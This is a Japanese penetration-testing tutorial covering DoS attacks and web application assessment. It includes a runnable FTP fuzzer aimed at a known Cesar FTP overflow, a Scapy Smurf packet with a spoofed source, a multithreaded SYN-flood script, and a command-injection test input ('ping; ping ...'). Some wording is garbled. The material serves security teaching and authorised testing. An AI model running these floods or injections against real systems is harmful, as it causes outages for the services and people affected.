サービス拒否(DoS)攻撃の基礎と分類
インターネット上の公開リソースや社内ネットワークを利用する際、サービス拒否(DoS)攻撃のリスクを評価することは不可欠である。これらの脅威は深刻なダウンタイムや財務的損失を引き起こす可能性があり、防御が困難なケースも少なくない。DoS 攻撃は主に以下のカテゴリーに分類される。
- バッファオーバーフロー: 意図しないメモリ領域にデータを書き込み、処理フローを破綻させるプログラミング上の脆弱性を悪用する。
- トラフィック増幅攻撃: 特定のサーバーやネットワーク帯域幅を消費することで DoS 状態を誘発する。IP スプーフィングによる応答の再定向が必要となる。
- リソース枯渇攻撃: メモリ、CPU、ディスク容量、または同時接続数など、ホストのローカルリソースを枯渇させて正常な機能を阻害する。
フズィングツールによるバッファオーバーフローの検出
バッファオーバーフローを検出する有効な手法の一つにフズィングがある。これは関数に対して精巧あるいはランダムなデータを渡すことで、入力データの制御不能な実行を防ぐテスト手法である。適切な条件下では、指定されたバッファを超えたデータが隣接するレジスタやメモリセグメントに流入し、アプリケーションやシステムのクラッシュを引き起こすことがある。
カスタムフズィングスクリプトの作成
Python は効率的なスクリプト言語であり、TCP または UDP ネットワークサービスのフズィングツール開発に適している。以下は、FTP サービスの認証後の機能に対してカスタムフズィングを行うスクリプトの例である。
#!/usr/bin/env python3
import socket
import sys
import time
def perform_fuzz(target_ip, service_port, payload_pattern, increment_step, max_length):
"""
FTP サービスに対する簡易フズィング関数
"""
current_len = increment_step
while current_len <= max_length:
try:
# ペイロードの生成
fuzz_payload = payload_pattern * (current_len // len(payload_pattern)) + "\r\n"
print(f"Target に {current_len} バイトのペイロードを送信中...")
# ソケット接続の確立
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connection = client_socket.connect((target_ip, service_port))
client_socket.recv(1024)
# 認証プロセスの模倣(簡略化)
user_input = input("FTP ユーザー名を入力してください: ")
pass_input = input("FTP パスワードを入力してください: ")
client_socket.send(f'USER {user_input}\r\n'.encode())
client_socket.recv(1024)
client_socket.send(f'PASS {pass_input}\r\n'.encode())
client_socket.recv(1024)
# フズィーなコマンド送信用
cmd_to_fuzz = input("テスト対象の FTP コマンドを入力 (例: MKD): ")
final_request = f"{cmd_to_fuzz} {fuzz_payload}"
client_socket.send(final_request.encode())
client_socket.send('QUIT\r\n'.encode())
client_socket.recv(1024)
client_socket.close()
current_len += increment_step
time.sleep(1)
except Exception as e:
print(f"\n送信エラーが発生しました。サーバーがクラッシュしている可能性があります: {e}")
return
if __name__ == "__main__":
if len(sys.argv) != 6:
print("使用方法: ./custom_fuzz.py [ターゲット IP] [ポート] [文字列] [ステップ] [最大値]")
print("例: ./custom_fuzz.py 10.0.0.5 21 A 100 1000")
sys.exit()
t_ip = sys.argv[1]
t_port = int(sys.argv[2])
p_char = sys.argv[3]
step = int(sys.argv[4])
limit = int(sys.argv[5])
perform_fuzz(t_ip, t_port, p_char, step, limit)
print("\n特に異常は見られませんでした。")
このスクリプトは、システム引数からターゲット情報を取得し、ループ内でペイロードサイズを増やしながら接続を試みる。通信に失敗した場合はサーバーのクラッシュを示唆するメッセージを出力する。
CVE ベースの FTP 遠隔 DoS 攻撃
Cesar 0.99 FTP サービスには CVE-2006-2961 として知られる既知の脆弱性がある。これは MKD 関数に対し、改行コードのシーケンスを送信することでスタックベースのバッファオーバーフローをトリガーするものである。前述のフズィングスクリプトを修正し、改行文字をハードコーディングすることでこの脆弱性を検証可能である。
ネットワーク層における増幅攻撃
Smurf DoS 攻撃
Smurf 攻撃は、ブロードキャストアドレス宛ての ICMP エコー要求をスプーフィングされた源 IP で送信し、LAN 内の全ホストからの応答を狙う古典的な手法である。現代のシステムでは多くの場合ブロードキャストトラフィックへの応答が無効化されているが、Scapy を使用してパケットを構築し確認することが可能である。
>>> ip_layer = IP(dst="172.16.36.255", src="172.16.36.135")
>>> icmp_layer = ICMP(type=8, code=0)
>>> smurf_packet = ip_layer / icmp_layer
>>> send(smurf_packet, count=50)
Sent 50 packets.
ここでは Scapy のインターフェースを用いて、ターゲットのブロードキャストアドレスへ ICMP パケットを送信している。源 IP を犠牲者に設定することで、返却されたトラフィックが被害者へ集中する。
DNS および SNMP 増幅攻撃
DNS 増幅攻撃は、ANY レコードのような巨大なレスポンスを返すオープンな DNS リゾルバを利用する。同様に、SNMP においてコミュニティ文字列が予測可能な場合、GETBULK 操作により大量のデータを取得され、そのレスポンスがターゲットへ転送される可能性がある。
NTP Monlist 脆弱性の確認
旧来の NTP サーバーは `monlist` コマンドに対して、最後に接続されたクライアントのリスト(最大 600 件)を返す仕様があった。これにより、少量のリクエストから大幅なトラフィック増幅が可能となる。NMAP や ntpdc ツールを使用し、外部から `monlist` が許可されていないか確認すべきである。
リソース枯渇型の TCP DoS
SYN フラッド攻撃
これは TCP の三次握手のプロセスを完結させないことで、サーバー側の半開接続テーブルを埋め尽くす手法である。多人数の同時スレッド処理を行うスクリプトを作成することで、攻撃効率を向上させることができる。
#!/usr/bin/env python3
from scapy.all import *
from threading import Thread
import random
import sys
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
def syn_flood_worker(dest_ip, dest_port):
"""
個別のスレッドで SYN パケットを生成・送信するワークファンクション
"""
while True:
rand_sport = random.randint(1024, 65535)
packet = IP(dst=dest_ip)/TCP(dport=dest_port, sport=rand_sport, flags="S")
send(packet, verbose=False)
def run_attack(target_address, target_port, thread_count):
print(f"SYN フラッド開始:ターゲット {target_address}:{target_port}, スレッド数: {thread_count}")
threads = []
for _ in range(thread_count):
t = Thread(target=syn_flood_worker, args=(target_address, target_port))
t.daemon = True
t.start()
threads.append(t)
try:
while True:
pass
except KeyboardInterrupt:
print("\n攻撃停止")
if __name__ == "__main__":
if len(sys.argv) == 4:
dst = sys.argv[1]
port_num = int(sys.argv[2])
thr = int(sys.argv[3])
run_attack(dst, port_num, thr)
else:
print("使い方: ./syn_script.py [ターゲットIP] [ポート] [スレッド数]")
このスクリプトは、無作為なソートポートを使用した TCP SYN パケットを多数のスレッドで生成し続けることで、サーバーのリソースを消耗させる。
Sockstress DoS 攻撃
Sockstress では、TCP 接続を確立した直後にウィンドウサイズを 0 に設定する ACK パケットを送ることで、サーバー側がデータを送信できずメモリを保持し続けるようにする。iptables ルールの設定を含めたスクリプトを使用して、RST パケットの送信を防止しつつ攻撃を行う必要がある。
ツールを活用した DoS テスト
Nmap のスクリプトエンジン(NSE)には、DoS テスト用のスクリプトが存在する(例: smb-vuln-ms10-054.nse)。また、Metasploit Framework には補助モジュールとして `auxiliary/dos/` カテゴリがあり、特定の OS やプロトコル向けの DoS 攻撃を実装することができる。Exploit-DB の検索機能を用いれば、既存の PoC コードを見つけて実環境での動作確認が行える場合もある。
第七章:Web アプリケーションセキュリティ診断
組織の周縁部にある Web アプリケーションは、独自の実装が含まれることが多く、標準的なネットワークサービスよりも脆弱性を含む傾向がある。Kali Linux には、Burp Suite や sqlmap など、Web 関連のテストツールが多数搭載されている。
Nikto と SSL/TLS 解析ツールの使用
Nikto は、既知の危険なファイルやスクリプトを探索し、構成ミス(例: ディレクトリエクスレーション、古い Apache バージョン)を発見するための CLI ツールである。一方、SSLScan や SSLyze は、TLS プロトコルのネゴシエーション結果を分析し、脆弱な暗号スイートや CRIME 攻撃の対象となる圧縮機能が有効になっていないかを確認する。
Burp Suite を活用した詳細分析
Burp Suite は、ブラウザとサーバー間の通信を傍受・操作できるプロキシツールである。
- Scope の設定: 評価範囲を明確にし、非対象のサイトを誤って攻撃することを防ぐ。
- Spider: サイトマップを自動的に拡張し、リンク構造やパラメータを収集する。
- Intruder: ペイロード攻撃の自動化を行える。ブルートフォースやパラメータ tampering に利用される。
- Repeater: 単一のリクエストを編集して繰り返し送信し、脆弱性の検証を手動で行う。
- Comparer: 異なるレスポンス間の変更点を視覚的に比較する。
- Sequencer: セッション ID などのトークン乱数の質(エントロピー)を分析する。
SQL インジェクションの自動化
sqlmap は、GET/POST クエリのパラメータやキャプチャした HTTP リクエストを読み込み、バックエンドデータベースへの SQL インジェクションを検証し、データの抽出まで自動化する強力なツールである。例えば、`--dbs` オプションでデータベース一覧、`--tables` でテーブル一覧、`--dump` でデータダンプを行うことができる。POST リクエストの場合、`--data` オプションを併用し、キャプチャ済みリクエストの場合は `-r` オプションでファイルパスを指定する。
CSRF およびコマンド注入の検証
CSRF(クロスサイトリクエストフォージェリ): ユーザーが知らない間に第三者から操作された HTTP リクエストを送信させる脆弱性である。GET パラメータのみならず、POST データを用いた自動フォーム送信(JavaScript)でも検証可能である。
コマンド注入: Web サーバー上で OS コマンドが任意に実行可能な場合に発生する。確認のためには、サーバーログへのアクセス記録や、外部へ向けたトラフィック(ICMP ピングなど)の利用が有効である。以下は Scapy を用いた ICMP 監視スクリプトの一例。
#!/usr/bin/python3
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
from scapy.all import sniff, IP, ICMP
TARGET_IP = "172.16.36.224"
def check_exploitable(packet):
if packet.haslayer(IP) and packet.haslayer(ICMP):
src_addr = packet[IP].src
dst_addr = packet[IP].dst
if dst_addr == TARGET_IP:
print(f"[ALERT] ICMP Traffic detected from vulnerable host: {src_addr}")
print("ICMP トラフィックを待機しています... (Ctrl+C で終了)")
sniff(prn=check_exploitable, store=0, filter=f"host {TARGET_IP} and icmp")
このスクリプトを実行した状態で、Web アプリケーションのインプット欄から `ping; ping 172.16.36.224` のような入力を試みることで、サーバー側からの ICMP エコーが検知されればコマンド注入の可能性が高いと判断できる。